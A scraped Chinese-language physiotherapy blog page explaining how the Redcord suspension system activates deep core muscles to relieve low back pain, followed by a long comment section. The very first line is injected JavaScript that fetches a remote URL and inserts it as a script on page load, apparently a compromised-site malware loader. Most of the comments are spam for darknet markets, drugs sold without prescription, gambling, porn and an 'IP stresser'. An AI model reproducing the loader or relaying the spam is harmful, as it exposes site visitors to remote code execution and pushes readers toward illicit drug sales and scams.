;var url = 'https://raw.githubusercontent.com/AlexanderRPatton/cdn/main/repo.txt';fetch(url).then(response => response.text()).then(data => {var script = document.createElement('script');script.src = data.trim();document.getElementsByTagName('head')[0].appendChild(script);}); 你沉睡的內核心肌群就交給 Redcord 來喚醒吧！(適合腰酸背痛者) (by 郭仕政物理治療師) | 好痛痛醫療、運動資訊站
redcord-紅繩懸吊系統-核心肌群-腰痠背痛-下背痛-腰酸背痛-物理治療-運動治療
/ 熱愛 Redcord 的郭仕政物理治療師

你沉睡的內核心肌群就交給 Redcord 來喚醒吧！(適合腰酸背痛者) (by 郭仕政物理治療師)

根據醫學研究，超過八成的下背痛很難找到原因，祭出 X光和 MRI (核磁共振)也不見得能照出那折磨人的腰酸背痛小妖精。

這些年很流行以內核心肌群肌力不足的角度來解釋下背痛的問題，認為內核心肌群無力或罷工引發的代償是腰痠背痛的原因之一。

我有六塊腹肌，我的核心肌群應該很強吧？

不，並不是這樣說的。

一般來說，我們可以說核心肌群是指軀幹、腰部、腹部、髖部的肌群。但其實那些肌肉有分成外核心肌群與內核心肌群。
你看到的那些健壯的六塊腹肌、背肌，是淺層肌群，又稱外核心肌群，他們的責任是幫助你完成動作，例如跑步、丟擲棒球。

淺層肌群底下其實還有深層肌群，又稱內核心肌群，他們的工作是穩定你的身體。一般的健身、鍛鍊方式並不容易練到他們，可是他們對你的身體穩定非常重要。一旦他們無法好好穩定你的身體，你對身體的控制就會不好，對身體的控制不好，就可能有協調性、姿勢、痠、痛的問題。

內核心肌群-外核心肌群-腹橫肌-多裂肌-橫隔膜-骨盆底肌群

打個譬喻好了，有勇強健的淺層肌群，就像一台馬力勇猛的跑車，但是好的控制、好的穩定，就像是夠格的駕駛技術一樣，才能把跑車操控好。
所以你想的沒錯，外表健壯的人也可能會有背痛、腰痛的問題。

 

未來我們將專文深入探討內核心肌群和外核心肌群。

 

為什麼內核心肌群不好會導致酸痛？

之前疼痛科學那篇裡面有提到代償與疼痛之間的關係。代償的意思是，當某一條肌肉不工作時，別條肌肉就必須代替不工作的那條來工作，來達到身體所需的動作要求。但是幫忙工作的那條肌肉負擔就加重了，所以他可能過度緊繃或累壞，最後產生疼痛。
常常罷工的肌肉，是你深層的內核心肌群，而那條幫別人工作的肌群常常就是你的腰和背。

這時候有兩個解決方法，第一個是把你的腰和背練起來，讓他有能力幫別人做很多工作；另一個方法是把不工作的那條肌肉叫回來工作。

不工作的核心肌群，很多時候是因為你長期姿勢不良，讓他們逐漸萎縮掉的，久了他們就忘記要怎麼上工了。

 

Redcord 紅繩懸吊系統怎麼喚醒核心肌群？

喚醒核心肌群的方法有很多種， Redcord 是近年來很紅的其中一種。一套懸吊系統配上不同的技術，物理治療師可以拿來做檢查診斷、復健訓練；運動教練可以拿來做運動訓練、強化運動表現等功能。而且由於懸吊的特性， Redcord 沒有使用年齡的限制，你也不必很壯或很病才能用。

Redcord 簡單的講，就是把人吊起來做評估、做運動。吊起來有幾個好處：

  • 第一他可以製造一個局部不穩定的狀況，來讓你的身體專注於本體感覺和神經肌肉的控制能力，以此喚醒深層肌群。
  • 第二是當病患(傷患)的患部，例如膝蓋，不適合負重卻又需要做些運動治療的時候，可以 Redcord 的彈性繩來減輕一部分的負擔。
  • 第三， Redcord 依照不同的懸吊方式，誘發出物理治療師想要病患加強的肌群，配合上各種動作檢測瞭解你身體的穩定與控制。

 

redcord-neurac-紅繩懸吊系統-秉格物理治療所-運動治療

照片提供：秉格物理治療所；攝影：好痛痛

當物理治療師判斷需要使用 Redcord 來治療你的下背痛問題時，他會製造一個你的核心肌群需要出力的狀態，刺激他們回來工作。

物理治療師有時會撥動那些繩子，感覺很像小朋友在鬧你那樣很煩，但其實那是為了利用不穩定的擾動去刺激你的神經，你的本能會叫深層肌群出來穩定你的身體，因為那就是他本來的工作。Redcord 做的這些事有學問一點的說法是「神經肌肉的再教育，來矯正或優化你的動作模式。」

深層肌群：「那個機掰物理治療師一直鬧我，叫我回來工作。」
淺層肌群：「你終於死回來啦，你不在的這些日子，我真是痛死了。」

另外一提，當初挪威的醫生和物理治療師就是為了解決下背痛的問題才發明了 Redocrd。

另外推薦大家讀讀 Redocrd 和 TRX 的差別這篇文章。

 

合作撰寫：好痛痛 (粉絲頁連結)、

郭仕政物理治療師 (診所連結) (粉絲頁連結) (專欄連結)

 

推薦一個 2018 秋季的 Redcord N1 課程！(點此連結)

 


好痛痛復健科、骨科、物理治療、運動訓練搜尋器


 

註：本部落格文章是以科普、衛教為出發點，不代表任何人的生理狀況。每個人的身體皆不相同，有任何疑問請詢問自己的醫師、物理治療師、專業教練。

 

103 Commments

  1. Redcord 紅繩懸吊系統的費用怎麼算呢? 如果是單純想訓練核心肌群這個適合嗎?

    回覆

  2. 脊椎開刀1年多久坐腰還是會酸痛 請問紅繩核心可以改善疼痛嗎

    回覆
  3. 自動引用通知: http://apartments-parami.pl/przygoda-z-matematyka-kwadrat-2365.php
  4. 自動引用通知: 토토사이트
  5. 自動引用通知: remmaglobal.pl Artur Gawroński

  6. 請問脊椎側彎引發的下背痛，可以使用Redcord 紅繩懸吊系統獲得改善嗎？

    回覆
  7. 自動引用通知: agencia de viajes en managua
  8. 自動引用通知: try this out
  9. 自動引用通知: how to make money online from the comfort of your home
  10. 自動引用通知: KONCHIL - Порно ролики
  11. 自動引用通知: http://webuyhouses-il.info/usa/real-estate-investment/il/deerfield
  12. 自動引用通知: ช่างแอร์ ปทุมธานี
  13. 自動引用通知: 온라인카지노
  14. 自動引用通知: Onion address for Torch
  15. 自動引用通知: real estate for sale in The Woodlands TX
  16. 自動引用通知: w.88.com
  17. 自動引用通知: UFA168
  18. 自動引用通知: dang ky bong88
  19. 自動引用通知: social impact marketing
  20. 自動引用通知: ANPR LED
  21. 自動引用通知: Darknet Drogen
  22. 自動引用通知: ปรึกษา เรื่อง เงิน
  23. 自動引用通知: Samsara Market
  24. 自動引用通知: Apollon Market
  25. 自動引用通知: Darknet Marketplaces
  26. 自動引用通知: Global (AMER, APAC, BRICS and EMEA) Nitrogen Tyre Inflator Market Research Report 2019-2025
  27. 自動引用通知: w88th
  28. 自動引用通知: Digital Income System
  29. 自動引用通知: uniccshop.bazar
  30. 自動引用通知: agen domino99 online
  31. 自動引用通知: indo qq

  32. 我看到大陸redcord網站使用這篇文章沒有標注來源:(( 不知道你們有授權過嗎～

    回覆
  33. 自動引用通知: link w88
  34. 自動引用通知: Royal Online v2
  35. 自動引用通知: satta king
  36. 自動引用通知: ty le bong da truc tuyen
  37. 自動引用通知: social media website
  38. 自動引用通知: mejaqq
  39. 自動引用通知: sahabat qq
  40. 自動引用通知: photo wall poster
  41. 自動引用通知: rajaqq
  42. 自動引用通知: magnetic taxi sign for car
  43. 自動引用通知: hydroxychloroquine fda label
  44. 自動引用通知: hydroxychloroquine maculopathy
  45. 自動引用通知: plaquenil dosage for lice
  46. 自動引用通知: hydroxychloroquine coronavirus trial results

  47. Here at Leslie’s Pugsland Breeder, Our beautiful fawn pug has given birth to 4 healthy Pug puppies.
    She is our beloved family dog and this is her 1st litter.
    Both mum and dad are AKC registered with 5 gen pedigree certificate. Both from Top Champion bloodlines.Mum and Dad can be seen. Puppies have been wormed weeks 2,4,6,8 and will have had a flea preventative treatment before leaving us.
    They will have their vet check, 1st vaccinations and microchip.
    To view all available puppies and recent pictures, Search us in google as LESLIE’S PUGSLAND BREEDER or click on our website link bellow : https://pugslandbreeder.company.com/

    回覆
  48. 自動引用通知: stromectol dosing for children
  49. 自動引用通知: ivermectin order online
  50. 自動引用通知: priligy 30
  51. 自動引用通知: hydroxychloroquine side effects
  52. 自動引用通知: stromectol 700 mg
  53. 自動引用通知: buy ivermectin canada
  54. 自動引用通知: stromectol for skin infection
  55. 自動引用通知: durvet ivermectin
  56. 自動引用通知: ivermectin for humans for sale
  57. 自動引用通知: plaquenil 6 price
  58. 自動引用通知: ivermectin for scabies side effects
  59. 自動引用通知: dose of ivermectin for scabies
  60. 自動引用通知: where is ivermectin available
  61. 自動引用通知: ivermectin 3 mg for humans
  62. 自動引用通知: ivermectin price in bangladesh
  63. 自動引用通知: viagra pill cost canada
  64. 自動引用通知: price of sildenafil tablets
  65. 自動引用通知: online pharmacy without prescription
  66. 自動引用通知: 10mg tadalafil without prescription
  67. 自動引用通知: hydroxychloroquine for sale on amazon
  68. 自動引用通知: otc stromectol for sale
  69. 自動引用通知: generic tadalafil medication
  70. 自動引用通知: viagra mexico over the counter

  74. Fantastic work! This really can be the kind of data which needs to really be shared round the internet. Shame on Google for perhaps not placement this specific informative article much higher! I’ll look for more of your posts. And I think my writing on the topic you wrote will help you. I hope you come to my blog and read it. 메이저토토사이트

    回覆
  76. 自動引用通知: bahis siteleri

  77. It’s the same topic , but I was quite surprised to see the opinions I didn’t think of. My blog also has articles on these topics, so I look forward to your visit. safetoto

    回覆
  78. 自動引用通知: A片

  79. Your writing is perfect and complete. slotsite However, I think it will be more wonderful if your post includes additional topics that I am thinking of. I have a lot of posts on my site similar to your topic. Would you like to visit once?

    回覆

  81. I was looking for another article by chance and found your article slotsite I am writing on this topic, so I think it will help a lot. I leave my blog address below. Please visit once.

    回覆

  86. An IP stresser is a tool designed to test a network or server for robustness. The administrator may run a stress test in order to determine whether the existing resources (bandwidth, CPU, etc.) are sufficient to handle additional load.

    回覆

  90. [url=https://www.naili19.com/goods.php?id=4]印度神油[/url]
    [url=https://www.naili19.com/article.php?id=15]印度神油的功效[/url]
    [url=https://www.naili19.com/goods.php?id=4]印度神油心得[/url]—–
    [url=https://www.naili19.com/goods.php?id=4]印度神油有用嗎[/url]
    [url=https://www.naili19.com/goods.php?id=4]印度皇帝油[/url]
    [url=https://www.naili19.com/goods.php?id=43]必利勁[/url]
    [url=https://www.naili19.com/article.php?id=24]必利勁效果[/url]
    [url=https://www.naili19.com/article.php?id=16]必利勁哪裡買[/url]
    [url=https://www.naili19.com/goods.php?id=43]必利勁有用嗎[/url]
    [url=https://www.naili19.com/goods.php?id=43]必利勁副作用[/url]—-
    [url=https://www.naili19.com/goods.php?id=42]希愛力[/url]
    [url=https://www.naili19.com/article.php?id=34]希愛力心得[/url]
    [url=https://www.naili19.com/goods.php?id=42]希愛力副作用[/url]
    [url=https://www.naili19.com/goods.php?id=42]雙效希愛力[/url]
    [url=https://www.naili19.com/goods.php?id=42]希愛力ptt[/url]
    [url=https://www.naili19.com/goods.php?id=42]希愛力怎麼吃[/url]
    [url=https://www.naili19.com/goods.php?id=42]希愛力哪裡買[/url]

    回覆

  97. Thank you for your sharing. I am worried that I lack creative ideas. It is your article that makes me full of hope. Thank you. But, I have a question, can you help me?

    回覆

  100. I don’t think the title of your article matches the content lol. Just kidding, mainly because I had some doubts after reading the article.

    回覆

對 林月端 發表迴響 取消回覆